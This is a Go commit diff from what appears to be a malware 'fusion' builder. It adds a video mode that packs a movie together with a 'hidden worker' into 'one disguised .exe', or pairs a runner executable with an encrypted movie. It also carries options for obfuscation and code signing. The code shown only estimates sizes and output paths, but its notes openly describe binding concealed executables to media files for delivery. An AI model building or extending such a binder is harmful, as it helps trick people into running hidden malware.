Add movie fusion packages with locked media, ZIP export, and batch forge UI.

Paired video mode encrypts movies, uses runner-only lock hints, bundles README plus artifacts per title, and supports batch forging with progress.
This commit is contained in:
drjones
2026-05-29 01:33:09 -07:00
parent 20eb5a3ba4
commit b99c8aab15
36 changed files with 2063 additions and 168 deletions

View File

@@ -13,26 +13,44 @@ const (
)
type FusionEstimateResponse struct {
PrepBytes int64 `json:"prep_bytes"`
PrepName string `json:"prep_name"`
EstimatedWorkerBytes int64 `json:"estimated_worker_bytes"`
EstimatedFusionStubBytes int64 `json:"estimated_fusion_stub_bytes"`
EstimatedResourcePatchBytes int64 `json:"estimated_resource_patch_bytes"`
EstimatedTotalBytes int64 `json:"estimated_total_bytes"`
OutputFileName string `json:"output_file_name"`
ProjectRootPath string `json:"project_root_path"`
ArchivePathHint string `json:"archive_path_hint"`
ExportPath string `json:"export_path,omitempty"`
Obfuscate bool `json:"obfuscate"`
SignBuild bool `json:"sign_build"`
Notes []string `json:"notes"`
PrepBytes int64 `json:"prep_bytes"`
PrepName string `json:"prep_name"`
EstimatedWorkerBytes int64 `json:"estimated_worker_bytes"`
EstimatedFusionStubBytes int64 `json:"estimated_fusion_stub_bytes"`
EstimatedResourcePatchBytes int64 `json:"estimated_resource_patch_bytes"`
EstimatedTotalBytes int64 `json:"estimated_total_bytes"`
OutputFileName string `json:"output_file_name"`
ProjectRootPath string `json:"project_root_path"`
ArchivePathHint string `json:"archive_path_hint"`
ExportPath string `json:"export_path,omitempty"`
Obfuscate bool `json:"obfuscate"`
SignBuild bool `json:"sign_build"`
Notes []string `json:"notes"`
}
func (h *Handler) estimateFusionBuild(req *BuildRequest, prepPath string, prepSize int64, prepName string) FusionEstimateResponse {
kind := strings.TrimSpace(req.FusionPayloadKind)
if kind == "" {
kind = detectFusionPayloadKind(prepName)
if kind == "exe" && prepPath != "" {
kind = detectFusionPayloadKind(prepPath)
}
}
mode := normalizeFusionMediaMode(req.FusionMediaMode)
outputName := req.FusionOutputName
if outputName == "" {
outputName = prepName
}
if kind == "video" {
if mode == "embedded" {
if outputName == "" {
outputName = disguiseVideoExeName(prepName)
}
} else if outputName == "" {
outputName = runnerNameForMedia(prepName)
}
}
if outputName == "" {
outputName = "prep.exe"
}
@@ -43,13 +61,28 @@ func (h *Handler) estimateFusionBuild(req *BuildRequest, prepPath string, prepSi
workerBytes := h.estimateWorkerBytes()
stubBytes := defaultFusionStubBytes
total := prepSize + workerBytes + stubBytes + resourcePatchOverhead
var total int64
switch kind {
case "video":
if mode == "embedded" {
total = prepSize + workerBytes + stubBytes + resourcePatchOverhead
} else {
total = workerBytes + stubBytes + resourcePatchOverhead
}
default:
total = prepSize + workerBytes + stubBytes + resourcePatchOverhead
}
root := h.projectRoot
if root == "" || root == "." {
root, _ = filepath.Abs(".")
}
projectOut := filepath.Join(root, outputName)
label := prepName
if kind != "video" {
label = strings.TrimSuffix(outputName, filepath.Ext(outputName))
}
sub := fusionExportSubdir(req, label)
projectOut := filepath.Join(root, FusionDeliverablesDir, sub, outputName)
resp := FusionEstimateResponse{
PrepBytes: prepSize,
@@ -64,18 +97,36 @@ func (h *Handler) estimateFusionBuild(req *BuildRequest, prepPath string, prepSi
Obfuscate: h.shouldObfuscate(req),
SignBuild: req.SignBuild,
Notes: []string{
fmt.Sprintf("Prep: %s", formatBytes(prepSize)),
fmt.Sprintf("Estimated worker: %s (from recent builds or default)", formatBytes(workerBytes)),
fmt.Sprintf("Payload: %s (%s)", prepName, formatBytes(prepSize)),
fmt.Sprintf("Estimated worker: %s", formatBytes(workerBytes)),
fmt.Sprintf("Fusion launcher overhead: ~%s", formatBytes(stubBytes)),
"Final size may differ slightly after icon + version info patch.",
fmt.Sprintf("Max upload: %s", formatBytes(FusionMaxUploadBytes)),
},
}
if kind == "video" {
if mode == "embedded" {
resp.Notes = append(resp.Notes,
"Option A (embedded): one disguised .exe contains the movie + hidden worker. Best under ~500MB.",
)
} else {
resp.Notes = append(resp.Notes,
"Option B (paired): runner .exe + encrypted movie in fusion-deliverables/<title>/.",
fmt.Sprintf("Movie file stays as %q beside the runner.", prepName),
)
}
resp.ExportPath = filepath.Join(root, FusionDeliverablesDir, sub)
resp.Notes = append(resp.Notes, fmt.Sprintf("Deliverables folder: %s", resp.ExportPath))
}
if strings.TrimSpace(req.OutputDir) != "" {
clean := filepath.Clean(strings.TrimSpace(req.OutputDir))
if clean != "." && !strings.HasPrefix(clean, "..") && !filepath.IsAbs(clean) {
resp.ExportPath = filepath.Join(root, clean, outputName)
resp.Notes = append(resp.Notes, fmt.Sprintf("Secondary export: %s", resp.ExportPath))
secondary := filepath.Join(root, clean, outputName)
if resp.ExportPath == "" {
resp.ExportPath = secondary
}
resp.Notes = append(resp.Notes, fmt.Sprintf("Secondary export: %s", secondary))
}
}
@@ -86,7 +137,6 @@ func (h *Handler) estimateFusionBuild(req *BuildRequest, prepPath string, prepSi
resp.Notes = append(resp.Notes, "Code signing requested but Calibrate has no certificate thumbprint configured.")
}
_ = prepPath
return resp
}